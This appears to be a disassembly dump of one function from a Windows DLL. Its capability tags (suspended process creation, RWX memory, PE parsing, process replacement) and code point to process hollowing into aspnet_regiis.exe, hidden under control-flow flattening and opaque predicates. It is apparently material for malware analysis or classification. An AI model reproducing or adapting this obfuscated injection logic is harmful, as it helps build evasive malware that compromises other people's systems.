Function at 0x10002db0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x10071c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x11c], 0xfeca9509
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x803f508d
je 0x10006f96
jmp 0x10002dec
mov eax, dword [ebp - 0x120]
sub eax, 0x806b3a6b
je 0x10008f2f
jmp 0x10002e02
mov eax, dword [ebp - 0x120]
sub eax, 0x81046151
je 0x10005b07
jmp 0x10002e18
mov eax, dword [ebp - 0x120]
sub eax, 0x82406d2d
je 0x10005694
jmp 0x10002e2e
mov eax, dword [ebp - 0x120]
sub eax, 0x8260263f
je 0x10005c06
jmp 0x10002e44
mov eax, dword [ebp - 0x120]
sub eax, 0x8266ce7b
je 0x1000962a
jmp 0x10002e5a
mov eax, dword [ebp - 0x120]
sub eax, 0x82cc2296
je 0x10005bab
jmp 0x10002e70
mov eax, dword [ebp - 0x120]
sub eax, 0x82fa6c05
je 0x10007819
jmp 0x10002e86
mov eax, dword [ebp - 0x120]
sub eax, 0x8345a696
je 0x1000597c
jmp 0x10002e9c
mov eax, dword [ebp - 0x120]
sub eax, 0x84feb17f
je 0x10006642
jmp 0x10002eb2
mov eax, dword [ebp - 0x120]
sub eax, 0x8619a487
je 0x100084d6
jmp 0x10002ec8
mov eax, dword [ebp - 0x120]
sub eax, 0x87745b35
je 0x10008df9
jmp 0x10002ede
mov eax, dword [ebp - 0x120]
sub eax, 0x87b258b2
je 0x1000814a
jmp 0x10002ef4
mov eax, dword [ebp - 0x120]
sub eax, 0x87c5c5ee
je 0x10005fe8
jmp 0x10002f0a
mov eax, dword [ebp - 0x120]
sub eax, 0x8a0f5d13
je 0x10007506
jmp 0x10002f20
mov eax, dword [ebp - 0x120]
sub eax, 0x8a74bc60
je 0x100078ca
jmp 0x10002f36
mov eax, dword [ebp - 0x120]
sub eax, 0x8a9aa1d7
je 0x1000697d
jmp 0x10002f4c
mov eax, dword [ebp - 0x120]
sub eax, 0x8acfde68
je 0x10005cc9
jmp 0x10002f62
mov eax, dword [ebp - 0x120]
sub eax, 0x8c5bf8eb
je 0x100081a3
jmp 0x10002f78
mov eax, dword [ebp - 0x120]
sub eax, 0x8ccb7e26
je 0x10006f39
jmp 0x10002f8e
mov eax, dword [ebp - 0x120]
sub eax, 0x8cea08bb
je 0x10005c80
jmp 0x10002fa4
mov eax, dword [ebp - 0x120]
sub eax, 0x8d98d9d6
je 0x100093a2
jmp 0x10002fba
mov eax, dword [ebp - 0x120]
sub eax, 0x8f95248d
je 0x1000a110
jmp 0x10002fd0
mov eax, dword [ebp - 0x120]
sub eax, 0x8ff2a50f
je 0x10006bcc
jmp 0x10002fe6
mov eax, dword [ebp - 0x120]
sub eax, 0x9107b5ec
je 0x10008101
jmp 0x10002ffc
mov eax, dword [ebp - 0x120]
sub eax, 0x91379794
je 0x10009570
jmp 0x10003012
mov eax, dword [ebp - 0x120]
sub eax, 0x9174f59f
je 0x10009f4e
jmp 0x10003028
mov eax, dword [ebp - 0x120]
sub eax, 0x926d359a
je 0x100093d3
jmp 0x1000303e
mov eax, dword [ebp - 0x120]
sub eax, 0x93dc6c68
je 0x10005ea1
jmp 0x10003054
mov eax, dword [ebp - 0x120]
sub eax, 0x9440bf6a
je 0x10009dba
jmp 0x1000306a
mov eax, dword [ebp - 0x120]
sub eax, 0x94454d5f
je 0x10008607
jmp 0x10003080
mov eax, dword [ebp - 0x120]
sub eax, 0x94563636
je 0x10006262
jmp 0x10003096
mov eax, dword [ebp - 0x120]
sub eax, 0x945a2737
je 0x10005e2b
jmp 0x100030ac
mov eax, dword [ebp - 0x120]
sub eax, 0x9476d62e
je 0x10006a6e
jmp 0x100030c2
mov eax, dword [ebp - 0x120]
sub eax, 0x949d28b6
je 0x1000a228
jmp 0x100030d8
mov eax, dword [ebp - 0x120]
sub eax, 0x950fb146
je 0x10006922
jmp 0x100030ee
mov eax, dword [ebp - 0x120]
sub eax, 0x954fcb90
je 0x10007674
jmp 0x10003104
mov eax, dword [ebp - 0x120]
sub eax, 0x95ad7866
je 0x10009cb9
jmp 0x1000311a
mov eax, dword [ebp - 0x120]
sub eax, 0x96765617
je 0x1000609a
jmp 0x10003130
mov eax, dword [ebp - 0x120]
sub eax, 0x96821162
je 0x10009777
jmp 0x10003146
mov eax, dword [ebp - 0x120]
sub eax, 0x972953e0
je 0x1000a247
jmp 0x1000315c
mov eax, dword [ebp - 0x120]
sub eax, 0x9807e145
je 0x100079dd
jmp 0x10003172
mov eax, dword [ebp - 0x120]
sub eax, 0x9942da15
je 0x1000a302
jmp 0x10003188
mov eax, dword [ebp - 0x120]
sub eax, 0x9a89828b
je 0x10006d1c
jmp 0x1000319e
mov eax, dword [ebp - 0x120]
sub eax, 0x9cbcc3eb
je 0x10008d93
jmp 0x100031b4
mov eax, dword [ebp - 0x120]
sub eax, 0x9d4f7a67
je 0x100070dd
jmp 0x100031ca
mov eax, dword [ebp - 0x120]
sub eax, 0x9da84b5a
je 0x100068e4
jmp 0x100031e0
mov eax, dword [ebp - 0x120]
sub eax, 0x9ef54182
je 0x10008b9f
jmp 0x100031f6
mov eax, dword [ebp - 0x120]
sub eax, 0x9f59112e
je 0x10006df8
jmp 0x1000320c
mov eax, dword [ebp - 0x120]
sub eax, 0x9fdcd1b7
je 0x10009e74
jmp 0x10003222
mov eax, dword [ebp - 0x120]
sub eax, 0xa00b1b1b
je 0x10006e68
jmp 0x10003238
mov eax, dword [ebp - 0x120]
sub eax, 0xa120ba96
je 0x1000578f
jmp 0x1000324e
mov eax, dword [ebp - 0x120]
sub eax, 0xa14e1e19
je 0x10006913
jmp 0x10003264
mov eax, dword [ebp - 0x120]
sub eax, 0xa2457721
je 0x100054eb
jmp 0x1000327a
mov eax, dword [ebp - 0x120]
sub eax, 0xa272a737
je 0x100054a0
jmp 0x10003290
mov eax, dword [ebp - 0x120]
sub eax, 0xa2936fe8
je 0x10007ff5
jmp 0x100032a6
mov eax, dword [ebp - 0x120]
sub eax, 0xa3b53296
je 0x10009e17
jmp 0x100032bc
mov eax, dword [ebp - 0x120]
sub eax, 0xa525844b
je 0x10009404
jmp 0x100032d2
mov eax, dword [ebp - 0x120]
sub eax, 0xa607400e
je 0x10007ed8
jmp 0x100032e8
mov eax, dword [ebp - 0x120]
sub eax, 0xa6725c8f
je 0x10008023
jmp 0x100032fe
mov eax, dword [ebp - 0x120]
sub eax, 0xa7ce8f22
je 0x10009ae5
jmp 0x10003314
mov eax, dword [ebp - 0x120]
sub eax, 0xa80b9653
je 0x10005be7
jmp 0x1000332a
mov eax, dword [ebp - 0x120]
sub eax, 0xa847cacd
je 0x10006f1c
jmp 0x10003340
mov eax, dword [ebp - 0x120]
sub eax, 0xa8a6cc0f
je 0x10009ec2
jmp 0x10003356
mov eax, dword [ebp - 0x120]
sub eax, 0xa8dd8832
je 0x100095a9
mov dword [ebp - 0x11c], 0xb28e99ba
jmp 0x1000a629
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
mov edx, eax
sub edx, 0xa75b9492
sub edx, 1
add edx, 0xa75b9492
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x350f9e70
mov ecx, 0x2bddc8bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x1001723c]
movss dword [ebp - 0xec], xmm0
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
mov edx, eax
add edx, 0x8fe3a9d8
sub edx, 1
sub edx, 0x8fe3a9d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9440bf6a
mov ecx, 0xd4cd5fa6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x10017238]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x10017234]
movss dword [ebp - 0xec], xmm0
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
add edx, 0x7fa6d985
sub edx, 1
sub edx, 0x7fa6d985
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x471f21dc
mov ecx, 0x50d85b54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x1001738c]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10017388]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x11c], 0x7f8c4f1b
jmp 0x1000a629
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
sub edx, 0xe63ca59
sub edx, 1
add edx, 0xe63ca59
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1e77acb3
mov ecx, 0xcfee586a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dl, 1
mov eax, 0x8260263f
mov ecx, 0x176bb0c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x10017378]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x11c], 0x8260263f
jmp 0x1000a629
movss xmm0, dword [0x10017374]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x11c], 0xafd0b818
jmp 0x1000a629
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47671ed1
mov ecx, 0x8acfde68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x10017228]
movss dword [ebp - 0xf0], xmm0
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x47671ed1
mov ecx, 0x729f636d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
add edx, 0xf86e9ab2
sub edx, 1
sub edx, 0xf86e9ab2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9fdcd1b7
mov ecx, 0x93dc6c68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x10017224]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10017220]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x1001721c]
movss dword [ebp - 0xf4], xmm0
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9fdcd1b7
mov ecx, 0x383468d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dl, 1
mov eax, 0xf9d1d7de
mov ecx, 0x1313c153
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x10017218]
movss dword [ebp - 0xf4], xmm0
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
add edx, 0xc1fcd0e9
sub edx, 1
sub edx, 0xc1fcd0e9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa8a6cc0f
mov ecx, 0x122f962f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dl, 1
mov eax, 0x4f4da18c
mov ecx, 0x788702ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x10017330]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x11c], 0x5fb994d5
jmp 0x1000a629
movss xmm0, dword [0x10017314]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10017310]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x11c], 0xa14e1e19
jmp 0x1000a629
mov dword [ebp - 0x11c], 0x950fb146
jmp 0x1000a629
movss xmm0, dword [0x1001730c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x11c], 0x4dce382
jmp 0x1000a629
movss xmm0, dword [0x10017304]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x11c], 0x33ebf3db
jmp 0x1000a629
movss xmm0, dword [0x100171f0]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x719c238e
mov ecx, 0xcc1f0555
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dword [ebp - 0x11c], 0x7e64e210
jmp 0x1000a629
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xed503ed0
mov ecx, 0xc6ebe167
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x100172e8]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x11c], 0xe1659960
jmp 0x1000a629
movss xmm0, dword [0x100171e4]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
sub edx, 0x51d1a324
sub edx, 1
add edx, 0x51d1a324
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0b3e00
mov ecx, 0xefc7e323
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dl, 1
mov eax, 0xea8e7c2f
mov ecx, 0x8ccb7e26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x100172e0]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x100172dc]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x11c], 0xd4d4dbdb
jmp 0x1000a629
mov dl, 1
mov eax, 0x9d4f7a67
mov ecx, 0xc3702026
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d0e1ff
mov ecx, 0xabd9ab90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x100172b8]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x11c], 0x75381a47
jmp 0x1000a629
mov dword [ebp - 0x11c], 0xd91a9be5
jmp 0x1000a629
mov dword [ebp - 0x11c], 0x45a17e71
jmp 0x1000a629
mov dl, 1
mov eax, 0xf13ae5f9
mov ecx, 0x637f2054
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dword [ebp - 0x11c], 0xf13ae5f9
jmp 0x1000a629
movss xmm0, dword [0x1001727c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x23c1c346
jmp 0x1000a629
mov dword [ebp - 0x11c], 0x4f80f269
jmp 0x1000a629
mov dl, 1
mov eax, 0xc087b025
mov ecx, 0x147c1a10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x972953e0
mov ecx, 0x87b258b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
movss xmm0, dword [0x1001719c]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x972953e0
mov ecx, 0x8c5bf8eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dword [ebp - 0x11c], 0xc087b025
jmp 0x1000a629
movss xmm0, dword [0x10017194]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x10017190]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
sub edx, 0x3408ce41
sub edx, 1
add edx, 0x3408ce41
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf711d050
mov ecx, 0xc5f0ce0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x11c], 0x7aa2278a
jmp 0x1000a629
mov ecx, dword [0x10072f28]
mov eax, dword [0x10072f24]
mov edx, ecx
sub edx, 0x7bee35d4
sub edx, 1
add edx, 0x7bee35d4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaaf94de7
mov ecx, 0x625652da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x78], eax
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
mov edx, eax
sub edx, 0x2a3f4752
sub edx, 1
add edx, 0x2a3f4752
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfed9b3b3
mov ecx, 0x87745b35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov dword [ebp - 0x11c], 0xcad77db4
jmp 0x1000a629
mov dword [ebp - 0x11c], 0x7332a68
jmp 0x1000a629
mov esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
add esi, 0x2175a704
add esi, eax
sub esi, 0x2175a704
mov edx, dword [ebp - 0x60]
mov eax, 0x1a74f6e4
mov ecx, 0x926d359a
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x11c], 0xa525844b
jmp 0x1000a629
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xcc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xbc]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x371f4eda
sub eax, edx
sub eax, 0x371f4eda
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0x1a74f6e4
jmp 0x1000a629
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
sub ecx, 0x7aabfd75
add ecx, 8
add ecx, 0x7aabfd75
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x11c], 0xa8dd8832
jmp 0x1000a629
mov dl, byte [ebp - 0x31]
mov eax, 0xe4a58709
mov ecx, 0x6e73b03a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov eax, dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x11c], 0x4b5c456c
jmp 0x1000a629
mov eax, dword [0x10072f28]
mov ecx, dword [0x10072f24]
mov edx, eax
add edx, 0x6e0986d2
sub edx, 1
sub edx, 0x6e0986d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9e50011
mov ecx, 0xec468ff2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a629
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ae30
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x1001723c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x11c], 0x82406d2d
jmp 0x1000a629
movss xmm0, dword [0x10017230]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x1001722c]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x11c], 0x4dacb810
jmp 0x1000a629
movss xmm0, dword [0x10017224]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10017220]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x1001721c]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x11c], 0x93dc6c68
jmp 0x1000a629
movss xmm0, dword [0x10017218]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x11c], 0x96765617
jmp 0x1000a629
movss xmm0, dword [0x10017204]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10017200]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x100171fc]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x11c], 0x752ab369
jmp 0x1000a629
movss xmm0, dword [0x100171c8]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100171c4]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100171c0]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x11c], 0xad9bfacc
jmp 0x1000a629
movss xmm0, dword [0x100171a0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0xe4c14e6d
jmp 0x1000a629
movss xmm0, dword [0x1001719c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x87b258b2
jmp 0x1000a629
mov eax, dword [ebp - 0xdc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0x2ee1bfb2
jmp 0x1000a629
jmp 0x10002dd0